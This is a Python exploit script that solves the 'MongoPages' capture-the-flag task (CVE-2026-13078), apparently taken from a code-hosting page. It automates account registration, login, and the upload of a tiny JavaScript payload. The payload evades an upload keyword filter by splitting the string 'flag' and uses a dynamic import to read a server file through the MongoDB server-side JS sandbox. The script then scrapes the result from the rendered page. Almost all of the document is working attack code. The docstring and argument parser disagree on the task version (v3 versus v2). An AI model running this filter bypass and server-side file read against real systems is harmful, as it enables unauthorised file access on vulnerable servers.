121 lines
4.3 KiB
Python
121 lines
4.3 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
Solver for the "MongoPages" CTF task, v3 (CVE-2026-13078).
|
|
|
|
Usage:
|
|
python solve.py http://<host>:8080
|
|
|
|
The only required argument is the task URL. The script will:
|
|
1. Register a fresh account on the web app and log in.
|
|
2. Upload pwn.js - a tiny script the platform evaluates inside the MongoDB
|
|
server-side JS sandbox (MozJS). Every uploaded .js is executed; its
|
|
exports are rendered in the (private) page preview as JSON.
|
|
3. The payload uses top-level await + dynamic import() with a concatenated
|
|
path to slip past the upload security filter (which rejects the literal
|
|
substring "flag") and reads /flag.txt, which is itself a valid ES module:
|
|
export const flag = "m0zjs_...";
|
|
4. Fetch the rendered page (/pages/<username>/ on the same origin) with the
|
|
session cookie (pages are private to their owner) and extract the flag
|
|
value from the rendered exports JSON.
|
|
5. Print caplag{<value>}.
|
|
|
|
Requires: pip install requests
|
|
"""
|
|
|
|
import argparse
|
|
import json
|
|
import random
|
|
import re
|
|
import string
|
|
import sys
|
|
from urllib.parse import urlparse
|
|
|
|
import requests
|
|
|
|
# 60 bytes, no "flag" substring, fits the 100-byte limit.
|
|
# TLA: import() resolves only after the imported module is evaluated,
|
|
# so the export value is available synchronously on the namespace object.
|
|
PAYLOAD = 'export const x=(await import("/"+"fl"+"ag.txt"))["fl"+"ag"];'
|
|
|
|
|
|
def rand_name(prefix: str, n: int = 8) -> str:
|
|
return prefix + "".join(random.choices(string.ascii_lowercase + string.digits, k=n))
|
|
|
|
|
|
def main() -> int:
|
|
ap = argparse.ArgumentParser(description="MongoPages v2 task solver (CVE-2026-13078)")
|
|
ap.add_argument("url", help="task URL, e.g. http://localhost:8080")
|
|
args = ap.parse_args()
|
|
|
|
base = args.url.rstrip("/")
|
|
host = urlparse(base).hostname
|
|
if not host:
|
|
print("[-] could not parse host from URL")
|
|
return 1
|
|
|
|
username = rand_name("solver")
|
|
password = rand_name("Pw", 16)
|
|
|
|
s = requests.Session()
|
|
|
|
# 1. register (retry a few times in case of a username collision)
|
|
r = None
|
|
for _ in range(5):
|
|
r = s.post(f"{base}/register", data={"username": username, "password": password})
|
|
if r.status_code in (200, 302):
|
|
break
|
|
username = rand_name("solver")
|
|
else:
|
|
print(f"[-] registration failed: {r.status_code} {r.text[:200]}")
|
|
return 1
|
|
print(f"[+] registered: {username}:{password}")
|
|
|
|
# 2. login
|
|
r = s.post(f"{base}/login", data={"username": username, "password": password},
|
|
allow_redirects=False)
|
|
if r.status_code not in (200, 302):
|
|
print(f"[-] login failed: {r.status_code} {r.text[:200]}")
|
|
return 1
|
|
print("[+] logged in")
|
|
|
|
# 3. upload the malicious script (any .js is executed server-side)
|
|
assert len(PAYLOAD.encode()) <= 100 and "flag" not in PAYLOAD.lower()
|
|
r = s.post(f"{base}/upload",
|
|
files={"file": ("pwn.js", PAYLOAD, "application/javascript")},
|
|
allow_redirects=False)
|
|
if r.status_code not in (200, 302):
|
|
print(f"[-] upload failed: {r.status_code} {r.text[:200]}")
|
|
return 1
|
|
print(f"[+] uploaded pwn.js ({len(PAYLOAD.encode())} bytes): {PAYLOAD}")
|
|
|
|
# 4. fetch the rendered page with our session cookie (pages are private) -
|
|
# the platform evaluates every .js in mongod's JS engine and embeds
|
|
# the module exports as JSON
|
|
r = s.get(f"{base}/pages/{username}/")
|
|
if r.status_code != 200:
|
|
print(f"[-] page fetch failed: {r.status_code}")
|
|
return 1
|
|
m = re.search(r"<pre>(.*?)</pre>", r.text, re.S)
|
|
if not m:
|
|
print(f"[-] no exports JSON on the page (evaluation failed?):\n{r.text[:500]}")
|
|
return 1
|
|
try:
|
|
exports = json.loads(m.group(1).replace(""", '"').replace("&", "&")
|
|
.replace("<", "<").replace(">", ">").replace("'", "'"))
|
|
except json.JSONDecodeError as e:
|
|
print(f"[-] could not parse exports JSON: {e}\n{m.group(1)}")
|
|
return 1
|
|
print(f"[+] module exports: {exports}")
|
|
|
|
# 5. extract the flag value
|
|
value = next((str(v) for v in exports.values() if isinstance(v, str) and v), None)
|
|
if not value:
|
|
print("[-] no flag-like string in the exports")
|
|
return 1
|
|
print(f"\n[FLAG] caplag{{{value}}}")
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
sys.exit(main())
|